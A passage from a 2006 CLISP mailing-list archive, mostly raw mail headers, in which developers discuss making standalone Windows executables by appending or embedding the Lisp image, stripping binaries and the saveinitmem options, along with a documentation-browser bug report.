X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 10:05:14 2006 X-Original-Date: Tue, 03 Jan 2006 13:03:03 -0500 > * Arseny Slobodyuk [2006-01-03 23:04:53 +1000]: > > Clisp isn't quite embeddable for me... http://www.cygwin.com/acronyms/#PTC -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.honestreporting.com http://www.memri.org/ http://www.iris.org.il http://truepeace.org http://www.camera.org Booze is the answer. I can't remember the question. From fb@frank-buss.de Tue Jan 03 19:23:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtzEv-0008JA-JY for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 19:23:05 -0800 Received: from smtp2.netcologne.de ([194.8.194.218]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtzEu-0004bb-44 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 19:23:05 -0800 Received: from galilei (xdsl-81-173-251-46.netcologne.de [81.173.251.46]) by smtp2.netcologne.de (Postfix) with ESMTP id 81FE042EA for ; Wed, 4 Jan 2006 04:22:54 +0100 (MET) From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: Thread-Index: AcYQdR2SZKIP8X36SMyxnlYMliNeCwAXJC2Q Message-Id: <20060104032254.81FE042EA@smtp2.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 19:24:01 2006 X-Original-Date: Wed, 4 Jan 2006 04:22:59 +0100 > > I've tried this with the current CVS version: > > > > [1]> (saveinitmem "foo" :executable t) > > > > *** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, > T in argument > > list. > > The allowed keywords are > > (:QUIET :INIT-FUNCTION :VERBOSE > :KEEP-GLOBAL-HANDLERS :START-PACKAGE > > :LOCKED-PACKAGES) > > there is a delay between developer cvs and anon cvs. > please try again in a couple of hours Yes, it works. But when I try to strip all symbols like "strip --strip-all lisp.exe", it doesn't work anymore: [8]> (saveinitmem "foo" :executable t :init-function #'main) *** - runtime too small (925784 bytes missing) The following restarts are available: ABORT :R1 ABORT Break 1 [9]> I suggest to add the size of the EXE file at the end of the marker string (which means var char marker[20] = "my magic marker\0\0\0" in spvw.d) and moving the filesize C code to savemem.lisp. Then you have to check in spvw.d only for 0 when loading and when saving, the current length is used. Then I can call "filesize" again on the stripped executable (which is 1 mb smaller after all). Another idea: if savemem.lisp has access to the filesize information included in the marker-string, it is possible that a standalone-exe can save itself again: if the pointer is 0, it replaces it with the filesize and saves all, including the image and if the pointer is /= 0, it saves only the part until the old image and then the new image. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Wed Jan 04 05:45:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eu8xG-0003dh-FC for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 05:45:30 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eu8xC-00028s-Ns for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 05:45:30 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 04 Jan 2006 08:45:23 -0500 X-IronPort-AV: i="3.99,329,1131339600"; d="scan'208"; a="191306985:sNHT34766080" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060104032254.81FE042EA@smtp2.netcologne.de> (Frank Buss's message of "Wed, 4 Jan 2006 04:22:59 +0100") References: <20060104032254.81FE042EA@smtp2.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 4 05:46:08 2006 X-Original-Date: Wed, 04 Jan 2006 08:44:14 -0500 > * Frank Buss [2006-01-04 04:22:59 +0100]: > > But when I try to strip all symbols like "strip > --strip-all lisp.exe", it doesn't work anymore: stripping CLISP disables disassembling of C functions and is not recommended. > Then I can call "filesize" again on the stripped executable (which is > 1 mb smaller after all). just strip lisp.exe before calling filesize (modify Makefile). -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.savegushkatif.org http://truepeace.org http://www.dhimmi.com/ http://www.honestreporting.com Press any key to continue or any other key to quit. From fb@frank-buss.de Wed Jan 04 06:43:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eu9r5-0007WR-5J for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 06:43:11 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eu9r3-00015L-UH for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 06:43:11 -0800 Received: from galilei (xdsl-81-173-253-184.netcologne.de [81.173.253.184]) by smtp1.netcologne.de (Postfix) with ESMTP id 6A0EB38A5A for ; Wed, 4 Jan 2006 15:43:02 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYRNTjEI94JO+cMRkeXNDy9GWfzVQABzN6w Message-Id: <20060104144302.6A0EB38A5A@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 4 06:44:01 2006 X-Original-Date: Wed, 4 Jan 2006 15:43:07 +0100 > > But when I try to strip all symbols like "strip > > --strip-all lisp.exe", it doesn't work anymore: > > stripping CLISP disables disassembling of C functions and is not > recommended. that's not interesting for the average Sokoban player, but 1 mb smaller file to download IS interesting. Moving the functionality from filesize.c to savemem.lisp and adding the size at the end of the marker solves the problem. Or even easier: move the size to the end of the marker, only, then you don't have to change the rest, but then you should perhaps deliver the filsize.exe program in the standard distribution, too. > just strip lisp.exe before calling filesize (modify Makefile). this is possible, but would be nice to have it in the standard distribution, because then I (and others) don't have to patch and recompile CLISP every time a new release is published. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Wed Jan 04 08:23:45 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuBQP-0005f8-LU for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 08:23:45 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuBQN-0005wB-6S for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 08:23:45 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 04 Jan 2006 11:23:41 -0500 X-IronPort-AV: i="3.99,330,1131339600"; d="scan'208"; a="191368263:sNHT27735212" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060104144302.6A0EB38A5A@smtp1.netcologne.de> (Frank Buss's message of "Wed, 4 Jan 2006 15:43:07 +0100") References: <20060104144302.6A0EB38A5A@smtp1.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 4 08:24:06 2006 X-Original-Date: Wed, 04 Jan 2006 11:22:32 -0500 > * Frank Buss [2006-01-04 15:43:07 +0100]: > > Moving the functionality from filesize.c to savemem.lisp and adding > the size at the end of the marker solves the problem. I don't think that windows will let an application open its own executable. also, this would mean that an executable image saved from a running executable image will include _two_ images. > Or even easier: move the size to the end of the marker, only, then you > don't have to change the rest, but then you should perhaps deliver the > filsize.exe program in the standard distribution, too. no, the standard distribution should just include the binaries on which filesize.exe have already been run. >> just strip lisp.exe before calling filesize (modify Makefile). > > this is possible, but would be nice to have it in the standard > distribution, because then I (and others) don't have to patch and > recompile CLISP every time a new release is published. I don't understand this. what "release is published"? what do you want to have in "the standard distribution"? what is "the standard distribution"? binary? source? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.mideasttruth.com/ http://www.memri.org/ http://www.palestinefacts.org/ http://www.honestreporting.com Shady characters are often very bright. From fb@frank-buss.de Wed Jan 04 19:18:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuLeM-0004gG-CM for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 19:18:50 -0800 Received: from moutng.kundenserver.de ([212.227.126.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuLeJ-0007es-Qk for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 19:18:50 -0800 Received: from [84.44.135.174] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu3) with ESMTP (Nemesis), id 0MKxQS-1EuLeI2yWt-0000aO; Thu, 05 Jan 2006 04:18:46 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYRSzqZOtYJ+vaJSOm9WrHbYz0JCgAVtcVg Message-ID: <0MKxQS-1EuLeI2yWt-0000aO@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 4 19:19:01 2006 X-Original-Date: Thu, 5 Jan 2006 04:18:51 +0100 > > Moving the functionality from filesize.c to savemem.lisp and adding > > the size at the end of the marker solves the problem. > > I don't think that windows will let an application open its own > executable. You can open it with read access, that's how my first patch worked. > also, this would mean that an executable image saved from a running > executable image will include _two_ images. Sorry, I mixed some ideas, another idea: The marker string should be var char marker[32] = "my magic marker0 "; In spvw.d the line to get the size should be changed to runtime_size = atol(&marker[15]) If runtime_size is 0, no image is linked. When building lisp.exe, filesize.c is not applied to the lisp.exe, but the code in savemem.lisp works like this when called with the :executable flag: - it checks the saved filesize at position 15 in the marker string in the program file: If 0, then the filesize of the program is determined and the new executable is written, with the new filesize included in the marker string at position 15 - if the filesize is >0, only the first filesize bytes are written for the new program, because this is a program, where an image was already appended - then the mew image is appended The advantages are: - ":executable" works for stripped program files, too - a program written with ":executable" can write itself again to a new program file name -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From kavenchuk@jenty.by Wed Jan 04 23:13:41 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuPJY-0006xF-Ub for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 23:13:36 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuPJW-0004Hs-Br for clisp-list@lists.sourceforge.net; Wed, 04 Jan 2006 23:13:36 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQJV9N; Thu, 5 Jan 2006 09:14:59 +0200 Message-ID: <43BCC77B.10207@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 4 23:14:01 2006 X-Original-Date: Thu, 05 Jan 2006 09:15:07 +0200 Sam Steingold wrote: >>Build mingw-version with gettext and readline? > > > sure, please go ahead! > clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net Thanks! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 05 00:11:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuQDI-0001bN-W5 for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 00:11:12 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuQDH-00056U-Cu for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 00:11:12 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Jan 2006 09:11:02 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Jan 2006 09:11:02 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307A8D801@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] RE: Windows standalone application MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 00:12:01 2006 X-Original-Date: Thu, 5 Jan 2006 09:10:55 +0100 Hi, on what systems is appending arbitrary binary junk to an executable actually supported (beside MS-Windows?). I'm pretty sure it would not work on AmigaOS, where the binary is a structured file. Being able to append arbitrary junk smells like an open door to viruses - "hey here's an easy place to go, add 2KB and overwrite the first instruction of the .exe with a jmp" - sounds great! Regards, Jorg Hohle. From fb@frank-buss.de Thu Jan 05 00:45:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuQkc-0003ZX-D7 for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 00:45:38 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuQka-0006F6-2W for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 00:45:38 -0800 Received: from galilei (xdsl-84-44-135-174.netcologne.de [84.44.135.174]) by smtp1.netcologne.de (Postfix) with ESMTP id 33E6138BD2 for ; Thu, 5 Jan 2006 09:45:28 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] RE: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307A8D801@S4DE8PSAAGS.blf.telekom.de> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYRz7WkeMM6HWewS6Cc+8EUiwY9bwAAxiSQ Message-Id: <20060105084528.33E6138BD2@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 00:46:00 2006 X-Original-Date: Thu, 5 Jan 2006 09:45:33 +0100 > on what systems is appending arbitrary binary junk to an > executable actually supported (beside MS-Windows?). > I'm pretty sure it would not work on AmigaOS, where the > binary is a structured file. Being able to append arbitrary > junk smells like an open door to viruses - "hey here's an > easy place to go, add 2KB and overwrite the first instruction > of the .exe with a jmp" - sounds great! The rest of the file is not loaded, so a virus can't jump to the end. But you are right, after thinking again about it, it is a kind of a hack to add the Lisp image at the end. A better idea would be to add it as a standard .rsrc Resources section to the file (see e.g. http://www.jps.at/pefile.html for details about the exe file format). When integrating a resource compiler for CLISP, it would be possible to add other standard resources, too, like the icon of the program, a VERSIONINFO entry and other arbitrary application specific data. This could be virtualized for other systems, because I'm sure on Linux the ELF file format supports something similiar, too, and systems which doesn't support it, could map the Windows resource functions just to single external files for every resource. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From kavenchuk@jenty.by Thu Jan 05 01:17:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuRFj-0005Cn-PC for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 01:17:47 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuRFi-0004zL-9c for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 01:17:47 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQJW2Z; Thu, 5 Jan 2006 11:19:17 +0200 Message-ID: <43BCE4A0.6090109@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] describe 'set-locale Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 01:18:01 2006 X-Original-Date: Thu, 05 Jan 2006 11:19:28 +0200 clisp from CVS head, mingw *impnotes-root-default* set to "file:///C:/clisp-2.37/doc/impnotes.html" *browser* set to :mozilla [1]> (describe 'set-locale ) ... ;; running ["c:/Program Files/mozilla.org/Mozilla/mozilla.exe" "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale" ]...done ... Popup message "File /C:/clisp-2.37/doc/impnotes.htmlset-locale not found..." (without sharp) if set *browser* to :default [3]> (describe 'set-locale ) ... ;; starting the default system browser with url "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"... *** - Win32 Error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. Thanks! -- WBR, Yaroslav Kavenchuk. From dgou@mac.com Thu Jan 05 05:40:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuVMG-0001ZI-F4 for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 05:40:48 -0800 Received: from smtpout.mac.com ([17.250.248.46]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuVMF-00044G-BA for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 05:40:48 -0800 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/8.12.11/smtpout10/MantshX 4.0) with ESMTP id k05DeYLY026240 for ; Thu, 5 Jan 2006 05:40:34 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin07/MantshX 4.0) with ESMTP id k05DeXto019076 for ; Thu, 5 Jan 2006 05:40:34 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307A8D801@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0307A8D801@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] RE: Windows standalone application To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 05:41:02 2006 X-Original-Date: Thu, 5 Jan 2006 08:40:29 -0500 On 2006 Jan 5, at 3:10 AM, Hoehle, Joerg-Cyril wrote: > Hi, > > on what systems is appending arbitrary binary junk to an executable > actually supported (beside MS-Windows?). > I'm pretty sure it would not work on AmigaOS, where the binary is a > structured file. Being able to append arbitrary junk smells like an > open door to viruses - "hey here's an easy place to go, add 2KB and > overwrite the first instruction of the .exe with a jmp" - sounds > great! > > Regards, > Jorg Hohle. That is why I love what Mac OS X has done with applications. They 'look like' a single file, but they are really a hierarchical structure. "user preferences" might live in $HOME/Library/Preferences somewhere, but other than that, self-contained is the way to go. While I use Windows for work, I can't say I've ever gotten to like the add/remove programs stuff. It would seem that the reality of cross-platform compatability in this regard (bundling up 'one executable application') just can't happen. The alternative is to do something platform-philic, and while I think that is unfortunate, I do think it is better than hack'n'slashing something together such as has been this thread's direction so far. Just my buck two fitty, --Doug From sds@gnu.org Thu Jan 05 08:39:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuY8y-0004S9-0b for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 08:39:16 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuY8v-0007Ms-JB for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 08:39:16 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 05 Jan 2006 11:39:09 -0500 X-IronPort-AV: i="3.99,335,1131339600"; d="scan'208"; a="191727690:sNHT97723600" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43BCC77B.10207@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 05 Jan 2006 09:15:07 +0200") References: <43BCC77B.10207@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 08:40:08 2006 X-Original-Date: Thu, 05 Jan 2006 11:38:00 -0500 > * Yaroslav Kavenchuk [2006-01-05 09:15:07 +0200]: > > clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.jihadwatch.org/ http://truepeace.org http://www.dhimmi.com/ http://www.camera.org http://www.honestreporting.com Please wait, MS Windows are preparing the blue screen of death. From sds@gnu.org Thu Jan 05 09:27:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuYtd-0007qZ-IF for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 09:27:29 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuYta-0004Pg-5h for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 09:27:29 -0800 Received: from 